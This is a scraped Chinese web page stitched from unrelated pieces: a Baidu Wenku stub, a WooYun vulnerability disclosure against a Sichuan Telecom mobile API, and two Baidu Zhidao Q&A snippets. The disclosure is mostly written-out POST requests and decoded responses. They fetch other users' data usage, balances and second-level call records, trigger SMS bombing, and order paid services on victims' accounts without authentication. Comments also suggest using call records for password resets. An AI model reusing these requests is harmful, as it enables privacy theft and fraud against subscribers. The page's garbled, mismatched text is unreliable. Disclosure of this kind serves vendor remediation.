新版账单、详单和发票二次培训_图文_百度文库
两大类热门资源免费畅读
续费一年阅读会员，立省24元！
评价文档：
新版账单、详单和发票二次培训
上传于||文档简介
&&21移​动​公​司​新​版​账​、​详​单​。
大小：4.02MB
登录百度文库，专享文档复制特权，财富值每天免费拿！
你可能喜欢现在位置：
总共37223篇文章分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向第三方安全合作伙伴开放（、、）
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
标题够长么？电信的攻城狮就是个坑啊！关键利用工具自产，暂不流出。cncert求20！
详细说明：
利用利用工具进行手机号生成对应的用户ID
======SC189Checker======
=========Encode=========
7B2AE77D404FD32D62E2E786BA69E990
==========DONE==========
返回信息加过密，自己写了个利用工具进行解密。
获取用户流量信息
POST HTTP://**.**.**.**:8006/wapLogin/getFlow.action
accountid=用户ID &channelTypeId=001&cityCode=CE2CF&cityName=%E5%9B%9B%E5%B7%9D+%E6%88%90%E9%83%BD&serviceId=2
======SC189Checker======
=========Decode=========
{&overFlow&:&4180643&,&totalFlow&:&4194304&,&unit&:&kb&,&useFlow&:&13661&}
==========DONE==========
登陆客户端发短信（直接形成短信轰炸）
POST HTTP://**.**.**.**:8006/wapLogin/sendSms.action
accountid=xxxxxxxxx&channelTypeId=001&cityCode=CE2CF&cityName=%E5%9B%9B%E5%B7%9D+%E6%88%90%E9%83%BD&serviceId=2
POST HTTP://**.**.**.**:8006/wapLogin/getReal.action
accountid=xxxxxxxxxxxxx&channelTypeId=001&cityCode=CE2CF&cityName=%E5%9B%9B%E5%B7%9D+%E6%88%90%E9%83%BD&serviceId=2
======SC189Checker======
=========Decode=========
{&balanceMsg&:&428.94&,&realMsg&:&170.00&}
==========DONE==========
基础业务情况
POST HTTP://**.**.**.**:8006 /BasicBuss/getAllBasicBusiness.action
accNbr=xxxxxxxxxx&channelTypeId=001&cityCode=CE2CF&cityName=%E5%9B%9B%E5%B7%9D+%E6%88%90%E9%83%BD&serviceId=2
======SC189Checker======
=========Decode=========
[{&accNbr&:null,&basicBuinessId&:&629&,&basicBuinessName&:&鏉ョ數鏄剧ず&,&isOrder&:&1&},{&accNbr&:null,&basicBuinessId&:&631&,&basicBuinessName&:&鍛煎彨绛夊緟&,&isOrder&:&1&},{&accNbr&:null,&basicBuinessId&:&628&,&basicBuinessName&:&褰╅搩&,&isOrder&:&1&},{&accNbr&:null,&basicBuinessId&:&624&,&basicBuinessName&:&閬囧繖鍓嶈浆&,&isOrder&:&0&},{&accNbr&:null,&basicBuinessId&:&625&,&basicBuinessName&:&鏃犲簲绛斿墠杞?,&isOrder&:&1&},{&accNbr&:null,&basicBuinessId&:&602&,&basicBuinessName&:&鍥介檯婕?父璇?煶鐭?俊&,&isOrder&:&1&},{&accNbr&:null,&basicBuinessId&:&622&,&basicBuinessName&:&鍥介檯婕?父鏁版嵁涓氬姟&,&isOrder&:&0&},{&accNbr&:null,&basicBuinessId&:&660&,&basicBuinessName&:&鍥介檯婕?父WIFI&,&isOrder&:&0&}]
==========DONE==========
自学java=。=编码蛋疼2b啊~
套餐使用量查询
POST HTTP://**.**.**.**:8006/productMessage/mealUseCase.action
accountid=xxxxxxxxxxx&channelTypeId=001&cityCode=CE2CF&cityName=%E5%9B%9B%E5%B7%9D+%E6%88%90%E9%83%BD&serviceId=2
【通话详单】对，没看错。详单。详细到秒！
POST HTTP://**.**.**.**:8006/BillDetails/getBillDetail.action
startTime=&endTime=&accNbr=xxxxxxxxxxxxxxxx&type=21&channelTypeId=001&cityCode=CE2CF&cityName=%E5%9B%9B%E5%B7%9D+%E6%88%90%E9%83%BD&serviceId=2
======SC189Checker======
=========Decode=========
[{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&省内漫游&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川成都&,&calledNbr&:&&,&callingAreaCode&:&四川南充&,&duration&:&22&,&endTime&:& 10:04:32&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&主叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 10:04:10&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&},{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&省内漫游&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川南充&,&calledNbr&:&&,&callingAreaCode&:&四川南充&,&duration&:&82&,&endTime&:& 10:27:23&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&被叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 10:26:01&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&},{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&省内漫游&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川南充&,&calledNbr&:&&,&callingAreaCode&:&四川南充&,&duration&:&29&,&endTime&:& 10:44:43&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&被叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 10:44:14&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&},{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&省内漫游&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川南充&,&calledNbr&:&&,&callingAreaCode&:&四川南充&,&duration&:&14&,&endTime&:& 10:56:35&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&主叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 10:56:21&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&},{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&省内漫游&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川南充&,&calledNbr&:&&,&callingAreaCode&:&四川南充&,&duration&:&78&,&endTime&:& 11:52:00&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&被叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 11:50:42&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&},{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&省内漫游&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川成都&,&calledNbr&:&&,&callingAreaCode&:&四川遂宁&,&duration&:&42&,&endTime&:& 11:56:32&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&被叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 11:55:50&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&},{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&本地市话&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川南充&,&calledNbr&:&&,&callingAreaCode&:&四川成都&,&duration&:&66&,&endTime&:& 16:55:07&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&被叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 16:54:01&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&},{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&本地市话&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川成都&,&calledNbr&:&&,&callingAreaCode&:&四川成都&,&duration&:&34&,&endTime&:& 17:41:04&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&被叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 17:40:30&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&},{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&本地市话&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川成都&,&calledNbr&:&&,&callingAreaCode&:&四川成都&,&duration&:&12&,&endTime&:& 18:24:01&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&主叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 18:23:49&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&},{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&本地市话&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川成都&,&calledNbr&:&&,&callingAreaCode&:&四川成都&,&duration&:&37&,&endTime&:& 19:06:35&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&被叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 19:05:58&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&},{&accNbr&:&&,&accumuCharge&:&0.00&,&billingCommunicateType&:&本地市话&,&billingType&:&&,&callCharge&:&0.00&,&callDate&:&&,&calledAreaCode&:&四川成都&,&calledNbr&:&&,&callingAreaCode&:&四川成都&,&duration&:&32&,&endTime&:& 11:33:41&,&internetFlow&:&&,&latnName&:&&,&longCallCharge&:&0.00&,&longCallType&:&被叫&,&monthNo&:&201303&,&otherCharge&:&0.00&,&preferentialCharge&:&0.00&,&startTime&:& 11:33:09&,&sumCallCharge&:&0.00&,&sumDuration&:&0&,&sumInternetFlow&:&0.00MB&}]
==========DONE==========
还有一些远程操纵订购产品
POST HTTP://**.**.**.**:8006/businessOperations/getAllValueAdds.action
accountid=xxxxxxxxxxx&pageSize=10¤tPage=1&fuzzyStr=&doType=TYPE1&orderMsg=&isCall=true&channelTypeId=001&cityCode=CE2CF&cityName=%E5%9B%9B%E5%B7%9D+%E6%88%90%E9%83%BD&serviceId=2
会返回当前增值业务列表
找到想要开通的服务，记下goodsId
获取产品valueAddId，变量为goodsid
POST HTTP://**.**.**.**:8006/businessOperations/BusOperInfo.action HTTP/1.1
accountid=xxxxxxxxxxxxxx&goodsId=100311&channelTypeId=001&cityCode=CE2CF&cityName=%E5%9B%9B%E5%B7%9D+%E6%88%90%E9%83%BD&serviceId=2
返回（QQ加油站为例）
======SC189Checker======
=========Decode=========
{&goodsChannel&:&ISMP&,&goodsCode&:&&,&goodsDesc&:&&p&\n
&&&&&&& QQ浼氬憳鏄?吘璁?殑楂樼?澧炲?
涓氬姟鏈嶅姟锛岀敤鎴烽?杩囨墜鏈哄彲浣跨敤鎵嬫満鏌ュ湪绾垮ソ鍙嬨?鎵嬫満鏇存柊澶村
儚銆佸ソ鍙嬩笂绾块?鐭ュ埌鎵嬫満銆佹墜鏈鸿?缃甉Q鐐?搩銆丵Q瀵嗙爜鎵嬫満瀹夊叏淇
濇姢銆丵Q浼氬憳閫熼?閫氱煡鍒版墜鏈虹瓑鍔熻兘\n&p&\n
&&\/p&\n&p&\n
姝や笟鍔″睘浜庝唬鎵ｈ垂锛圫P锛夌被澧炲?涓氬姟銆?\/p&\n\n
&,&goodsId&:&100311&,&goodsName&:&QQ浼氬憳&,&goodsPrice&:&10&,&service_
Company&:&娣卞湷鑵捐?鍏?徃&}
==========DONE==========
取得goodsCode，
订购任意附属包
POST HTTP://**.**.**.**:8006/businessOperations/handleBusiness.action HTTP/1.1
accountid=xxxxxxxxx&valueAddId=&action=1&doType=ISMP&channelTypeId=001&cityCode=CE2CF&cityName=%E5%9B%9B%E5%B7%9D+%E6%88%90%E9%83%BD&serviceId=2
======SC189Checker======
=========Decode=========
{&effectiveTime&:&&,&expireTime&:&10&,&message&:&鎴愬姛&,&resultCode
==========DONE==========
订购成功，！
漏洞证明：
请复制详细说明内容~
cncert或者wooyun官方需要我这个2B解码软件做复现请PM我。
修复方案：
你再加密一次试试看啊~
版权声明：转载请注明来源 @
厂商回应：
危害等级：高
漏洞Rank：16
确认时间： 22:47
厂商回复：
在白帽子的大力配合下，CNVD确认并复现所述情况（含某加密算法的破解），已在7日转由CNCERT四川分中心，由其协调当地基础电信运营企业处置。
按完全影响机密性，部分影响可用性进行评分，基本危害评分8.47，发现技术难度系数1.2（不安全参数引用+加密破解），涉及行业或单位影响系数1.5，综合rank=8.47*1.2*1.5=15.246
最新状态：
：近日，中国电信集团公司亦获知该事件，也同时在关注，预计将进行及时处置。待后续反馈。
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
我勒个擦，够严重！
印象中有过类似漏洞，这个是升级的？
另外我记得某地区移动重置服务密码有个依据，就是最后3次通话记录，“通话详单”这个应该可以利用这个逻辑咯，哎，运营商啊。。。
@疯狗 电信也可以~
没权限认证？
@xsser 毫无啊~xsser有暗恋的四川电信妹纸么？
@O.o 有 私聊
@xsser ok~
难道是我看见的那个-_-|
这个文件夹很乌云思密达，能不卖萌不！！！
登录后才能发表评论，请先最新改版的招商信用卡网站里，已经不能在“已出账单查询”中查询明细消费。请问哪里可以查询到消费详单？_百度知道
最新改版的招商信用卡网站里，已经不能在“已出账单查询”中查询明细消费。请问哪里可以查询到消费详单？
查询密码和附加码登录网上银行后://creditcardNaNbchina！感谢您对招商银行的关注与支持，未持卡客户请选3#进入人工，或者请您通过电话人工服务咨询://creditcardNaN您好：在QQ企业好友中搜索“”添加“招行信用卡中心”为好友://creditcardNaNbchina://creditcardNaNbchina，在“账户管理费”-“已出账单查询”下查看.com/.com/" target="_blank">http，点击右侧的“网上银行登录”输入身份证件号码。 若您仍有疑问和意见。方法二，您登陆信用卡网上银行后就可以查询账单明细；或者在微信中搜“cmb”并关注招行信用卡中心即可咨询。我们将竭诚为您服务.com/" href="http。请您登录信用卡网站<a title="http  ，请您添加“QQ”或“微信”体验“微客服”平台功能
其他类似问题
为您推荐：
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁地沟油是人们在生活中对于各类劣质油的统称．地沟油可分为三类：第一类是将下水道中的油腻漂浮物或者将宾_百度知道
地沟油是人们在生活中对于各类劣质油的统称．地沟油可分为三类：第一类是将下水道中的油腻漂浮物或者将宾
再被重复使用或往其中添加一些新油后重新使用的油．据估计，第一类地沟油和第二类地沟油在加工过程中需要使用活性炭除臭味、剩菜（通称泔水）经过简单加工、猪内脏：第一类是将下水道中的油腻漂浮物或者将宾馆、提炼出的油，目前我国每年返回餐桌的地沟油有200～300万吨．地沟油在加工过程中发生的变化有______、酒楼的剩饭；第二类是劣质猪肉、异味、猪皮加工以及提炼后产出的油地沟油是人们在生活中对于各类劣质油的统称．地沟油可分为三类、真菌等有害微生物和毒素----黄曲霉素等，地沟油中含有的大量细菌，此时活性炭的作用是______；第三类是用于油炸食品的油使用次数超过规定后
提问者采纳
可把有味物质吸附在其表面．地沟油中含有的大量细菌：物理变化和化学变化、提炼出的油主要是物理变化；吸附，或胃癌、异味；肠胃疾病或癌症（或胃癌，经过了高温加热，第二类和第三类方法，可考虑消化系统疾病、肠癌等．故答案为，可能发生了化学变化．使用活性炭除臭味，又是通过消化道进入人体：肠胃疾病或癌症，是利用它的吸附作用，如，因为它有多孔结构，表面积大、真菌等有害微生物和毒素----黄曲霉素等第一类经过简单加工
其他类似问题
为您推荐：
地沟油的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁
